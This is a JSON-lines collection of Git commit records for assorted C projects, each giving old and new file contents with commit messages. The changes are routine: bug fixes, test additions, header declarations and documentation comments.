Start()\n\t{\n\t\treturn true;\n\t}\n\n\tvirtual bool Start(bool active)\n\t{\n\t\tthis->_active = active;\n\t\treturn true;\n\t}\n\n\tbool Enable()\n\t{\n\t\tif (!_active)\n\t\t\treturn _active = Start();\n\t\treturn true;\n\t}\n\n\tbool Disable()\n\t{\n\t\tif (_active)\n\t\t\treturn _active = !CleanUp();\n\t\treturn false;\n\t}\n\n\tvirtual void PreUpdate() {}\n\n\tvirtual void Update() {}\n\n\tvirtual void PostUpdate() {}\n\n\tvirtual bool CleanUp()\n\t{\n\t\treturn true;\n\t}\n\n\t\/\/ Callbacks\n\tvirtual bool OnCollision(Collider origin, Collider other)\n\t{\n\t\treturn true;\n\t}\n\npublic:\n\tEntity* Parent;\n\nprivate:\n\tbool _active = true;\n};\n\n#endif \/\/ __ENTITY_H__\n","subject":"Adjust entity class to naming conventions","message":"Adjust entity class to naming conventions\n\nreferences #3","lang":"C","license":"mit","repos":"jowie94\/The-Simpsons-Arcade,jowie94\/The-Simpsons-Arcade"}
{"commit":"c68037fdc18d4dade36611a4a93dcc3fbbcfa045","old_file":"bin\/test_date.c","new_file":"bin\/test_date.c","old_contents":"#include <stdio.h>\n#include <time.h>\n#include <stdlib.h>\n\nint check_date(struct tm *date, time_t time, char *name) {\n    if( date == NULL ) {\n        printf(\"%s(%lld) returned null\\n\", name, (long long)time);\n        return 1;\n    }\n    else {\n        printf(\"%s(%lld): %s\\n\", name, (long long)time, asctime(date));\n        return 0;\n    }\n}\n\n\nint main(int argc, char *argv[]) {\n    long long number;\n    time_t time;\n    struct tm *localdate;\n    struct tm *gmdate;\n\n    if( argc <= 1 ) {\n        printf(\"usage: %s <time>\\n\", argv[0]);\n        return 1;\n    }\n\n    number = strtoll(argv[1], NULL, 0);\n    time = (time_t)number;\n\n    printf(\"input: %lld, time: %lld\\n\", number, (long long)time);\n    if( time != number ) {\n        printf(\"time_t overflowed\\n\");\n        return 0;\n    }\n\n    localdate = localtime(&time);\n    gmdate    = gmtime(&time);\n\n    check_date(localdate, time, \"localtime\");\n    check_date(gmdate,    time, \"gmtime\");\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <time.h>\n#include <stdlib.h>\n\nint check_date(struct tm *date, time_t time, char *name) {\n    if( date == NULL ) {\n        printf(\"%s(%lld) returned null\\n\", name, (long long)time);\n        return 1;\n    }\n    else {\n        printf(\"%s(%lld): %s\\n\", name, (long long)time, asctime(date));\n        return 0;\n    }\n}\n\n\nint main(int argc, char *argv[]) {\n    long long number;\n    time_t time;\n    struct tm *localdate;\n    struct tm *gmdate;\n\n    if( argc <= 1 ) {\n        printf(\"usage: %s <time>\\n\", argv[0]);\n        return 1;\n    }\n\n    printf(\"sizeof time_t: %ld, tm.tm_year: %ld\\n\", sizeof(time_t), sizeof(gmdate->tm_year));\n\n    number = strtoll(argv[1], NULL, 0);\n    time = (time_t)number;\n\n    printf(\"input: %lld, time: %lld\\n\", number, (long long)time);\n    if( time != number ) {\n        printf(\"time_t overflowed\\n\");\n        return 0;\n    }\n\n    localdate = localtime(&time);\n    gmdate    = gmtime(&time);\n\n    check_date(localdate, time, \"localtime\");\n    check_date(gmdate,    time, \"gmtime\");\n\n    return 0;\n}\n","subject":"Print out the size of time_t and tm.tm_year for debugging porpuses.","message":"Print out the size of time_t and tm.tm_year for debugging porpuses.\n","lang":"C","license":"mit","repos":"chromatic\/y2038,chromatic\/y2038,evalEmpire\/y2038,bulk88\/y2038,schwern\/y2038,chromatic\/y2038,foxtacles\/y2038,foxtacles\/y2038,bulk88\/y2038,bulk88\/y2038,evalEmpire\/y2038,schwern\/y2038"}
{"commit":"5c4a5fd8eeef6942ff79b519aa86b195a1e70aaf","old_file":"Wikipedia\/Code\/WMFAnalyticsLogging.h","new_file":"Wikipedia\/Code\/WMFAnalyticsLogging.h","old_contents":"#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@protocol WMFAnalyticsLogging <NSObject>\n\n- (NSString*)analyticsName;\n\n@end\n\nNS_ASSUME_NONNULL_END","new_contents":"#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@protocol WMFAnalyticsContextProviding <NSObject>\n\n- (NSString*)analyticsContext;\n\n@end\n\n@protocol WMFAnalyticsContentTypeProviding <NSObject>\n\n- (NSString*)analyticsContentType;\n\n@end\n\n@protocol WMFAnalyticsViewNameProviding <NSObject>\n\n- (NSString*)analyticsName;\n\n@end\n\nNS_ASSUME_NONNULL_END","subject":"Add additional protocols for tracking context, content type, and analytics name","message":"Add additional protocols for tracking context, content type, and analytics name\n","lang":"C","license":"mit","repos":"anirudh24seven\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,bgerstle\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,bgerstle\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,anirudh24seven\/wikipedia-ios,bgerstle\/wikipedia-ios,wikimedia\/wikipedia-ios,josve05a\/wikipedia-ios,anirudh24seven\/wikipedia-ios,anirudh24seven\/wikipedia-ios,bgerstle\/wikipedia-ios,anirudh24seven\/wikipedia-ios,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,anirudh24seven\/wikipedia-ios,bgerstle\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,anirudh24seven\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,wikimedia\/wikipedia-ios,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,anirudh24seven\/wikipedia-ios,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,bgerstle\/wikipedia-ios,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,bgerstle\/wikipedia-ios,bgerstle\/wikipedia-ios,wikimedia\/apps-ios-wikipedia"}
{"commit":"76f9b29884da7c8ec329979d35db92f4838d6a02","old_file":"tests\/regression\/51-threadjoins\/04-assume-recreate.c","new_file":"tests\/regression\/51-threadjoins\/04-assume-recreate.c","old_contents":"","new_contents":"\/\/PARAM: --set ana.activated[+] threadJoins --disable ana.thread.include-node --set ana.thread.domain plain\n#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\n\nvoid *t_fun(void *arg) {\n  g++; \/\/ RACE!\n  return NULL;\n}\n\nint main() {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  __goblint_assume_join(id); \/\/ should add to must-joined\n\n  pthread_create(&id, NULL, t_fun, NULL); \/\/ should remove from must-joined again\n\n  g++; \/\/ RACE!\n\n  return 0;\n}\n","subject":"Add threadJoins test where recreated threads should be removed from must-join set","message":"Add threadJoins test where recreated threads should be removed from must-join set\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"a46ad1816174773501de829f4bcf2a2f23690660","old_file":"tests\/system_tests\/test_cases\/test_user-defined-type-copyin-copyout-two-members.c","new_file":"tests\/system_tests\/test_cases\/test_user-defined-type-copyin-copyout-two-members.c","old_contents":"","new_contents":"\/*\n * TEST: Run copyin and copyout on a user-defined type with two members\n * DIM: 3\n * PRIORITY: 1\n *\/\n\n#include <stdio.h>\n#include \"physis\/physis.h\"\n\n#define N 32\n#define ITER 10\n\nstruct Point {\n  float x;\n  float y;\n};\n\nDeclareGrid3D(Point, struct Point);\n\nvoid check(struct Point *in, struct Point *out) {\n  int x = 0;\n  size_t nelms = N*N*N;  \n  for (x = 0; x < nelms; ++x) {\n    if (in[x].x != out[x].x) {\n      fprintf(stderr, \"Error: x mismatch at %d, in: %f, out: %f\\n\",\n              x, in[x].x, out[x].x);\n      exit(1);\n    }\n    if (in[x].y != out[x].y) {\n      fprintf(stderr, \"Error: y mismatch at %d, in: %f, out: %f\\n\",\n              x, in[x].y, out[x].y);\n      exit(1);\n    }\n  }\n}\n\nint main(int argc, char *argv[]) {\n  PSInit(&argc, &argv, 3, N, N, N);\n  PSGrid3DPoint g1 = PSGrid3DPointNew(N, N, N);\n  size_t nelms = N*N*N;\n  struct Point *indata = (struct Point *)malloc(\n      sizeof(struct Point) * nelms);\n  int i;\n  for (i = 0; i < nelms; i++) {\n    indata[i].x = i;\n    indata[i].y = i+1;\n  }\n  struct Point *outdata = (struct Point *)malloc(\n      sizeof(struct Point) * nelms);\n    \n  PSGridCopyin(g1, indata);\n  PSGridCopyout(g1, outdata);\n\n  check(indata, outdata);\n\n  PSGridFree(g1);\n  PSFinalize();\n  free(indata);\n  free(outdata);\n  return 0;\n}\n\n","subject":"Add a new simple test case for user-defined types","message":"Add a new simple test case for user-defined types\n","lang":"C","license":"bsd-3-clause","repos":"naoyam\/physis,naoyam\/physis,naoyam\/physis,naoyam\/physis"}
{"commit":"087a8a1a1072d9917d0a533a8708a488774dc753","old_file":"test\/CodeGen\/debug-info-section-macho.c","new_file":"test\/CodeGen\/debug-info-section-macho.c","old_contents":"","new_contents":"\/\/ Test that clang produces the __apple accelerator tables,\n\/\/ e.g., __apple_types, correctly.\n\/\/ RUN: %clang %s -target x86_64-apple-macosx10.13.0 -c -g -o %t-ex\n\/\/ RUN: llvm-objdump -section-headers %t-ex | FileCheck %s\n\nint main (int argc, char const *argv[]) { return argc; }\n\n\/\/ CHECK: __debug_str\n\/\/ CHECK-NEXT: __debug_abbrev\n\/\/ CHECK-NEXT: __debug_info\n\/\/ CHECK-NEXT: __debug_ranges\n\/\/ CHECK-NEXT: __debug_macinfo\n\/\/ CHECK-NEXT: __apple_names\n\/\/ CHECK-NEXT: __apple_objc\n\/\/ CHECK-NEXT: __apple_namespac\n\/\/ CHECK-NEXT: __apple_types\n","subject":"Add a test to check clang produces accelerator tables.","message":"[Darwin] Add a test to check clang produces accelerator tables.\n\nThis test was previously in lldb, and was only checking that clang\nwas emitting the correct section. So, it belongs here and not\nin the debugger.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@325850 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"83b7ba154c3b7735685315c7dbbf2083945b947c","old_file":"board.h","new_file":"board.h","old_contents":"#ifndef __BOARD_H\n#define __BOARD_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define F_OSC0 12000000UL\n#define F_OSC1 0UL\n\n#define F_CPU 66000000UL\n\n#define HSBMASK_DEFAULT 0xFFFFFFFF\n#define PBAMASK_DEFAULT 0xFFFFFFFF\n#define PBBMASK_DEFAULT 0xFFFFFFFF\n\nvoid init_board(void);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"#ifndef __BOARD_H\n#define __BOARD_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define ADC_VREF 3.0\n#define ADC_BITS 10\n\n#define F_CPU 66000000UL\n#define F_OSC0 12000000UL\n#define F_OSC1 0UL\n\n#define HSBMASK_DEFAULT 0xFFFFFFFF\n#define PBAMASK_DEFAULT 0xFFFFFFFF\n#define PBBMASK_DEFAULT 0xFFFFFFFF\n\nvoid init_board(void);\n\nstatic inline double cnv2volt(uint16_t cnv)\n{\n\treturn cnv * (ADC_VREF \/ (1U << ADC_BITS));\n}\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Add adc settings and a function to calculate the conversion","message":"Add adc settings and a function to calculate the conversion\n","lang":"C","license":"bsd-3-clause","repos":"denravonska\/aery32,aery32\/aery32,denravonska\/aery32,aery32\/aery32"}
{"commit":"9c6ef2d2e6fc944267fb3a857d5797afb9efcb06","old_file":"queue.c","new_file":"queue.c","old_contents":"#include \"queue.h\"\n\nstruct Queue\n{\n\tsize_t head;\n\tsize_t tail;\n\tsize_t size;\n\tvoid** e;\n};\n\nQueue* Queue_Create(size_t n)\n{\n\tQueue* q = (Queue *)malloc(sizeof(Queue));\n\tq->size = n;\n\tq->head = q->tail = 1;\n\tq->e = (void **)malloc(sizeof(void*) * (n + 1));\n}","new_contents":"#include \"queue.h\"\n\nstruct Queue\n{\n\tsize_t head;\n\tsize_t tail;\n\tsize_t size;\n\tvoid** e;\n};\n\nQueue* Queue_Create(size_t n)\n{\n\tQueue* q = (Queue *)malloc(sizeof(Queue));\n\tq->size = n;\n\tq->head = q->tail = 1;\n\tq->e = (void **)malloc(sizeof(void*) * (n + 1));\n\treturn q;\n}","subject":"Add missing return after Queue creation","message":"Add missing return after Queue creation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"6ae7b4776f1cbafb5703376cb806572667070b8d","old_file":"libc\/sysdeps\/linux\/common\/getrusage.c","new_file":"libc\/sysdeps\/linux\/common\/getrusage.c","old_contents":"\/* vi: set sw=4 ts=4: *\/\n\/*\n * getrusage() for uClibc\n *\n * Copyright (C) 2000-2004 by Erik Andersen <andersen@codepoet.org>\n *\n * GNU Library General Public License (LGPL) version 2 or later.\n *\/\n\n#include \"syscalls.h\"\n#include <unistd.h>\n#include <wait.h>\n_syscall2(int, getrusage, int, who, struct rusage *, usage);\n","new_contents":"\/* vi: set sw=4 ts=4: *\/\n\/*\n * getrusage() for uClibc\n *\n * Copyright (C) 2000-2004 by Erik Andersen <andersen@codepoet.org>\n *\n * GNU Library General Public License (LGPL) version 2 or later.\n *\/\n\n#include \"syscalls.h\"\n#include <unistd.h>\n#include <wait.h>\n_syscall2(int, getrusage, __rusage_who_t, who, struct rusage *, usage);\n","subject":"Correct type, gcc-3.4.5 fails, thanks nitinkg for reporting\/testing","message":"Correct type, gcc-3.4.5 fails, thanks nitinkg for reporting\/testing\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"3951fae51d776d05e871ee5a7beb62fb832985b1","old_file":"src\/port\/pthread-win32.h","new_file":"src\/port\/pthread-win32.h","old_contents":"#ifndef __PTHREAD_H\n#define __PTHREAD_H\n\ntypedef ULONG pthread_key_t;\ntypedef HANDLE pthread_mutex_t;\ntypedef int pthread_once_t;\n\nDWORD\t\tpthread_self(void);\n\nvoid\t\tpthread_setspecific(pthread_key_t, void *);\nvoid\t   *pthread_getspecific(pthread_key_t);\n\nvoid\t\tpthread_mutex_init(pthread_mutex_t *, void *attr);\nvoid\t\tpthread_mutex_lock(pthread_mutex_t *);\n\n\/* blocking *\/\nvoid\t\tpthread_mutex_unlock(pthread_mutex_t *);\n\n#endif\n","new_contents":"#ifndef __PTHREAD_H\n#define __PTHREAD_H\n\ntypedef ULONG pthread_key_t;\ntypedef HANDLE pthread_mutex_t;\ntypedef int pthread_once_t;\n\nDWORD\t\tpthread_self(void);\n\nvoid\t\tpthread_setspecific(pthread_key_t, void *);\nvoid\t   *pthread_getspecific(pthread_key_t);\n\nint\t\t\tpthread_mutex_init(pthread_mutex_t *, void *attr);\nint\t\t\tpthread_mutex_lock(pthread_mutex_t *);\n\n\/* blocking *\/\nint\t\t\tpthread_mutex_unlock(pthread_mutex_t *);\n\n#endif\n","subject":"Fix declarations of pthread functions, missed in recent commit.","message":"Fix declarations of pthread functions, missed in recent commit.\n","lang":"C","license":"agpl-3.0","repos":"tpostgres-projects\/tPostgres,50wu\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,Postgres-XL\/Postgres-XL,Postgres-XL\/Postgres-XL,ovr\/postgres-xl,techdragon\/Postgres-XL,Chibin\/gpdb,xinzweb\/gpdb,adam8157\/gpdb,pavanvd\/postgres-xl,kmjungersen\/PostgresXL,50wu\/gpdb,ovr\/postgres-xl,lisakowen\/gpdb,ovr\/postgres-xl,greenplum-db\/gpdb,jmcatamney\/gpdb,greenplum-db\/gpdb,edespino\/gpdb,xinzweb\/gpdb,edespino\/gpdb,postmind-net\/postgres-xl,techdragon\/Postgres-XL,ashwinstar\/gpdb,oberstet\/postgres-xl,yuanzhao\/gpdb,jmcatamney\/gpdb,zeroae\/postgres-xl,arcivanov\/postgres-xl,jmcatamney\/gpdb,adam8157\/gpdb,snaga\/postgres-xl,50wu\/gpdb,50wu\/gpdb,arcivanov\/postgres-xl,adam8157\/gpdb,greenplum-db\/gpdb,jmcatamney\/gpdb,ashwinstar\/gpdb,tpostgres-projects\/tPostgres,yazun\/postgres-xl,kmjungersen\/PostgresXL,arcivanov\/postgres-xl,edespino\/gpdb,Chibin\/gpdb,arcivanov\/postgres-xl,xinzweb\/gpdb,kmjungersen\/PostgresXL,techdragon\/Postgres-XL,lisakowen\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,50wu\/gpdb,yuanzhao\/gpdb,yuanzhao\/gpdb,postmind-net\/postgres-xl,oberstet\/postgres-xl,postmind-net\/postgres-xl,zeroae\/postgres-xl,oberstet\/postgres-xl,yazun\/postgres-xl,zeroae\/postgres-xl,Chibin\/gpdb,yazun\/postgres-xl,yuanzhao\/gpdb,ashwinstar\/gpdb,Postgres-XL\/Postgres-XL,kmjungersen\/PostgresXL,adam8157\/gpdb,tpostgres-projects\/tPostgres,edespino\/gpdb,pavanvd\/postgres-xl,yazun\/postgres-xl,snaga\/postgres-xl,ashwinstar\/gpdb,Chibin\/gpdb,postmind-net\/postgres-xl,yuanzhao\/gpdb,yuanzhao\/gpdb,ashwinstar\/gpdb,arcivanov\/postgres-xl,Postgres-XL\/Postgres-XL,Chibin\/gpdb,Postgres-XL\/Postgres-XL,edespino\/gpdb,lisakowen\/gpdb,edespino\/gpdb,yuanzhao\/gpdb,adam8157\/gpdb,jmcatamney\/gpdb,lisakowen\/gpdb,yuanzhao\/gpdb,Chibin\/gpdb,greenplum-db\/gpdb,lisakowen\/gpdb,50wu\/gpdb,adam8157\/gpdb,pavanvd\/postgres-xl,Chibin\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,tpostgres-projects\/tPostgres,lisakowen\/gpdb,edespino\/gpdb,techdragon\/Postgres-XL,kmjungersen\/PostgresXL,greenplum-db\/gpdb,Chibin\/gpdb,postmind-net\/postgres-xl,xinzweb\/gpdb,ashwinstar\/gpdb,arcivanov\/postgres-xl,ashwinstar\/gpdb,adam8157\/gpdb,snaga\/postgres-xl,lisakowen\/gpdb,adam8157\/gpdb,50wu\/gpdb,techdragon\/Postgres-XL,yazun\/postgres-xl,yuanzhao\/gpdb,pavanvd\/postgres-xl,oberstet\/postgres-xl,greenplum-db\/gpdb,tpostgres-projects\/tPostgres,edespino\/gpdb,oberstet\/postgres-xl,xinzweb\/gpdb,xinzweb\/gpdb,pavanvd\/postgres-xl,zeroae\/postgres-xl,greenplum-db\/gpdb,snaga\/postgres-xl,ovr\/postgres-xl,ovr\/postgres-xl,Chibin\/gpdb,50wu\/gpdb,snaga\/postgres-xl,edespino\/gpdb,yuanzhao\/gpdb,jmcatamney\/gpdb,edespino\/gpdb,ashwinstar\/gpdb,zeroae\/postgres-xl"}
{"commit":"9d7343347b61a9e0110b8ba81cdd66b5c5ea0bac","old_file":"src\/sas\/readstat_xport.c","new_file":"src\/sas\/readstat_xport.c","old_contents":"#include <stdint.h>\n\n#include \"readstat_xport.h\"\n#include \"..\/readstat_bits.h\"\n\nchar _xport_months[12][4] = {\n    \"JAN\", \"FEB\", \"MAR\", \"APR\", \"MAY\", \"JUN\",\n    \"JUL\", \"AUG\", \"SEP\", \"OCT\", \"NOV\", \"DEC\" };\n\nvoid xport_namestr_bswap(xport_namestr_t *namestr) {\n    if (!machine_is_little_endian())\n        return;\n\n    namestr->ntype = byteswap2(namestr->ntype);\n    namestr->nhfun = byteswap2(namestr->nhfun);\n    namestr->nlng = byteswap2(namestr->nlng);\n    namestr->nvar0 = byteswap2(namestr->nlng);\n\n    namestr->nfl = byteswap2(namestr->nfl);\n    namestr->nfd = byteswap2(namestr->nfd);\n    namestr->nfj = byteswap2(namestr->nfj);\n\n    namestr->nifl = byteswap2(namestr->nifl);\n    namestr->nifd = byteswap2(namestr->nifd);\n    namestr->npos = byteswap4(namestr->npos);\n\n    namestr->labeln  = byteswap2(namestr->labeln);\n}\n","new_contents":"#include <stdint.h>\n\n#include \"readstat_xport.h\"\n#include \"..\/readstat_bits.h\"\n\nchar _xport_months[12][4] = {\n    \"JAN\", \"FEB\", \"MAR\", \"APR\", \"MAY\", \"JUN\",\n    \"JUL\", \"AUG\", \"SEP\", \"OCT\", \"NOV\", \"DEC\" };\n\nvoid xport_namestr_bswap(xport_namestr_t *namestr) {\n    if (!machine_is_little_endian())\n        return;\n\n    namestr->ntype = byteswap2(namestr->ntype);\n    namestr->nhfun = byteswap2(namestr->nhfun);\n    namestr->nlng = byteswap2(namestr->nlng);\n    namestr->nvar0 = byteswap2(namestr->nvar0);\n\n    namestr->nfl = byteswap2(namestr->nfl);\n    namestr->nfd = byteswap2(namestr->nfd);\n    namestr->nfj = byteswap2(namestr->nfj);\n\n    namestr->nifl = byteswap2(namestr->nifl);\n    namestr->nifd = byteswap2(namestr->nifd);\n    namestr->npos = byteswap4(namestr->npos);\n\n    namestr->labeln  = byteswap2(namestr->labeln);\n}\n","subject":"Fix bug in XPORT byteswapping","message":"Fix bug in XPORT byteswapping\n","lang":"C","license":"mit","repos":"WizardMac\/ReadStat,WizardMac\/ReadStat"}
{"commit":"74046391a491fe30c587685b036c8509d34b9936","old_file":"main.c","new_file":"main.c","old_contents":"","new_contents":"#include <unistd.h>\n#include <stdlib.h>\n#include <sys\/socket.h>\n\nint main(void) {\n  char const *server_path = \"\/tmp\/unix_server_listener\"\n\n  int listener = socket(PF_UNIX, SOCK_STREAM, 0);\n\n  unlink(server_path);\n  int err = bind(listener, address);\n\n  err = listen(listener, 2048);\n\n  set listener close-on-fork\n\n  int pid = fork();\n  if (pid > 0) {\n    \/\/ in child\n\n    int client = socket(PF_UNIX, SOCK_STREAM, 0);\n\n    int err = connect(client, address);\n\n    exit(0);\n  }\n\n  if (pid == -1) {\n    \/\/ err\n    exit(1)\n  }\n\n  int connection = accept(listener);\n\n  wait for readability\n\n  attempt read\n\n  return 0;\n}\n","subject":"Add skeleton of test program","message":"Add skeleton of test program\n","lang":"C","license":"mit","repos":"keithduncan\/unix_server"}
{"commit":"c1db1c5a23c7066d9417ed808b01f452874ff7ed","old_file":"libexec\/ftpd\/skey-stuff.c","new_file":"libexec\/ftpd\/skey-stuff.c","old_contents":"","new_contents":"\/* Author: Wietse Venema, Eindhoven University of Technology. *\/\n\n#include <stdio.h>\n#include <pwd.h>\n\n#include <skey.h>\n\n\/* skey_challenge - additional password prompt stuff *\/\n\nchar   *skey_challenge(name, pwd, pwok)\nchar   *name;\nstruct passwd *pwd;\nint     pwok;\n{\n    static char buf[128];\n    struct skey skey;\n\n    \/* Display s\/key challenge where appropriate. *\/\n\n    if (pwd == 0 || skeychallenge(&skey, pwd->pw_name, buf) != 0)\n\tsprintf(buf, \"Password required for %s.\", name);\n    return (buf);\n}\n","subject":"Put skey support to ftpd Reviewed by: Submitted by: guido","message":"Put skey support to ftpd\nReviewed by:\nSubmitted by:\tguido\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"a512578fdd9e815f9244bc1d5a5fcd30464e8cbc","old_file":"source\/openta\/ta_errors.h","new_file":"source\/openta\/ta_errors.h","old_contents":"\/\/ Public domain. See \"unlicense\" statement at the end of this file.\n\n#define TA_ERROR_FAILED_TO_PARSE_CMDLINE        -1\n#define TA_ERROR_FAILED_TO_CREATE_GAME_CONTEXT  -2\n#define TA_ERROR_INVALID_ARGS                   -3\n","new_contents":"\/\/ Public domain. See \"unlicense\" statement at the end of this file.\n\ntypedef int ta_result;\n#define TA_SUCCESS           0\n#define TA_ERRORS           -1\n#define TA_INVALID_ARGS     -2\n#define TA_OUT_OF_MEMORY    -3\n\n#define TA_ERROR_FAILED_TO_PARSE_CMDLINE        -1\n#define TA_ERROR_FAILED_TO_CREATE_GAME_CONTEXT  -2\n#define TA_ERROR_INVALID_ARGS                   -3\n","subject":"Add a few result codes.","message":"Add a few result codes.\n","lang":"C","license":"mit","repos":"mackron\/openta,mackron\/openta"}
{"commit":"c9b72d350872bf0d23d3b7905c7f8169c7f91a8b","old_file":"reverb\/cc\/conversions.h","new_file":"reverb\/cc\/conversions.h","old_contents":"\/\/ Copyright 2019 DeepMind Technologies Limited.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef REVERB_CC_CONVERSIONS_H_\n#define REVERB_CC_CONVERSIONS_H_\n\n#include \"numpy\/arrayobject.h\"\n#include \"tensorflow\/core\/framework\/types.h\"\n#include \"tensorflow\/core\/framework\/tensor.h\"\n\nnamespace deepmind {\nnamespace reverb {\nnamespace pybind {\n\nvoid ImportNumpy();\n\ntensorflow::Status TensorToNdArray(const tensorflow::Tensor &tensor,\n                                   PyObject **out_ndarray);\n\ntensorflow::Status NdArrayToTensor(PyObject *ndarray,\n                                   tensorflow::Tensor *out_tensor);\n\ntensorflow::Status GetPyDescrFromDataType(tensorflow::DataType dtype,\n                                          PyArray_Descr **out_descr);\n\n}  \/\/ namespace pybind\n}  \/\/ namespace reverb\n}  \/\/ namespace deepmind\n\n#endif  \/\/ REVERB_CC_CONVERSIONS_H_\n","new_contents":"\/\/ Copyright 2019 DeepMind Technologies Limited.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef REVERB_CC_CONVERSIONS_H_\n#define REVERB_CC_CONVERSIONS_H_\n\n#include \"numpy\/arrayobject.h\"\n#include \"tensorflow\/core\/framework\/types.h\"\n#include \"tensorflow\/core\/framework\/tensor.h\"\n\nnamespace deepmind {\nnamespace reverb {\nnamespace pybind {\n\n\/\/ One MUST initialize Numpy, e.g. within the Pybind11 module definition before\n\/\/ calling C Numpy functions.\n\/\/ See https:\/\/pythonextensionpatterns.readthedocs.io\/en\/latest\/cpp_and_numpy.html\nvoid ImportNumpy();\n\ntensorflow::Status TensorToNdArray(const tensorflow::Tensor &tensor,\n                                   PyObject **out_ndarray);\n\ntensorflow::Status NdArrayToTensor(PyObject *ndarray,\n                                   tensorflow::Tensor *out_tensor);\n\ntensorflow::Status GetPyDescrFromDataType(tensorflow::DataType dtype,\n                                          PyArray_Descr **out_descr);\n\n}  \/\/ namespace pybind\n}  \/\/ namespace reverb\n}  \/\/ namespace deepmind\n\n#endif  \/\/ REVERB_CC_CONVERSIONS_H_\n","subject":"Document why `ImportNumpy ` exists and when it should be used.","message":"Document why `ImportNumpy ` exists and when it should be used.\n\nPiperOrigin-RevId: 474532725\nChange-Id: I305a57456bcac3186389a733e16d962fcee99dee\n","lang":"C","license":"apache-2.0","repos":"deepmind\/reverb,deepmind\/reverb,deepmind\/reverb,deepmind\/reverb"}
